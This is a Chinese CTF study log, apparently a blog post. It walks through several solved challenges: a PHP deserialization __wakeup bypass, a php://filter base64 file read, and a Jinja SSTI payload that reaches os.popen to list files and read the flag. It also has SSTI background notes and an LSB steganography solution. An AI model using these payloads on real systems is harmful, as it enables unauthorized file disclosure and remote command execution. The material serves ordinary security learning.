刷题学习记录

[SWPUCTF 2022 新生赛]ez_ez_unserialize

知识点:反序列化

进入环境,得到源码

<?php
class X
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
if (isset($_REQUEST['x'])) {
    @unserialize($_REQUEST['x']);
} else {
    highlight_file(__FILE__);
} 

代码审计:

它实现了魔术方法 __wakeup()__construct() 和 __destruct(),并且使用了 highlight_file() 函数来高亮显示指定文件的源代码。

在这个示例中,如果存在 POST 请求参数 x,则调用 unserialize() 函数对其进行反序列化。否则,将以高亮方式显示当前文件的源代码。

值得注意的是,__wakeup() 方法会在反序列化时被调用,用于初始化对象的状态。在这个例子中,它检查对象的属性 $x 是否和当前文件的路径相同,如果不同,则将其设置为当前文件的路径。

最后,__destruct() 方法在对象被销毁时调用,它调用 highlight_file() 函数来高亮显示 $x 属性所指向的文件的源代码。注释中提到 “flag is in fllllllag.php”,暗示了其中可能包含了一个名为 “fllllllag.php” 的文件,这可能是一个有关 flag 的文件。

总之就是要绕过wakeup,构造反序列化

payload:

<?php 
class X
{
    public $x = "fllllllag.php";
} 
$x = new X;
$x = serialize($x);
echo str_replace(":1:", ":2:",$x);
?>



O:2:"X":2:{s:2:"x";s:13:"fllllllag.php";}

 得到flag

 [MoeCTF 2022]baby_file

知识点:PHP伪协议

进入环境

 题目标签是PHP伪协议,就之前做的PHP伪协议可以直接构造payload

payload:

file=php://filter/convert.base64-encode/resource=flag.php

 结果被其进行base64编码

 使用在线工具解码得

 [HNCTF 2022 WEEK2]ez_SSTI

知识点:SSTI

参考:SSTI(模板注入)_ssti各种分类_xiaolong22333的博客-CSDN博客

 SSTI模板注入漏洞讲解_zxl2605的博客-CSDN博客

题目名字和标签都提示了是SSTI

 

?name={ {7*‘7’}} 检测出存在 SSTI 无过滤

?name={ {config.class.init.globals[‘os’].popen(‘ls’).read() }} 发现flag

?name={ {config.class.init.globals[‘os’].popen(‘cat flag’).read() }}

 最后就可以得到flag

但是这里有一个疑惑,就是参数为什么是name

笔记

SSTI模板注入
SSTI的概念

SSTI(Server-Side Template Injection)从名字可以看出即是服务器端模板注入。比如python的flask、php的thinkphp、java的spring等框架一般都采用MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
本文章只研究以python语言为主的SSTI。
SSTI漏洞原理
什么是模板

模板可以被认为是一段固定好格式,等着开发人员或者用户来填充信息的文件。通过这种方法,可以做到逻辑与视图分离,更容易、清楚且相对安全地编写前后端不同的逻辑。
模板引擎

模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。

模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。
漏洞原理

服务端接收了攻击者的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了攻击者插入的可以破坏模板的语句,从而达到攻击者的目的。

[鹤城杯 2021]Misc2

知识点:LSB

拿到附件,根据题目意思可以用LSB隐写工具打开

 看到前面的文本有点可疑好像是十六进制数

 记下来用工具进行解码得到flag

 还有一种就是将图片导入kali,用zsteg打开得到unicode编码,再解码就得到flag

 

相关推荐

  1. 记录(20240605)

    2023-12-06 09:22:05       11 阅读

最近更新

  1. TCP协议是安全的吗?

    2023-12-06 09:22:05       16 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2023-12-06 09:22:05       16 阅读
  3. 【Python教程】压缩PDF文件大小

    2023-12-06 09:22:05       15 阅读
  4. 通过文章id递归查询所有评论(xml)

    2023-12-06 09:22:05       18 阅读

热门阅读

  1. Vue3 详细教程及实例(完整版)

    2023-12-06 09:22:05       36 阅读
  2. webpack 打包前端项目

    2023-12-06 09:22:05       31 阅读
  3. .net core 获取Jwt身份信息

    2023-12-06 09:22:05       34 阅读
  4. 分布式uuid常用的算法

    2023-12-06 09:22:05       30 阅读
  5. kafka入门(三):kafka多线程消费

    2023-12-06 09:22:05       28 阅读
  6. 前端面试题之数据处理

    2023-12-06 09:22:05       26 阅读
  7. bash中通过变量中的内容获取对应的关联数组

    2023-12-06 09:22:05       27 阅读
  8. 计算机网络——应用层

    2023-12-06 09:22:05       37 阅读
  9. 大型语言模型在实体关系提取中的应用探索(二)

    2023-12-06 09:22:05       38 阅读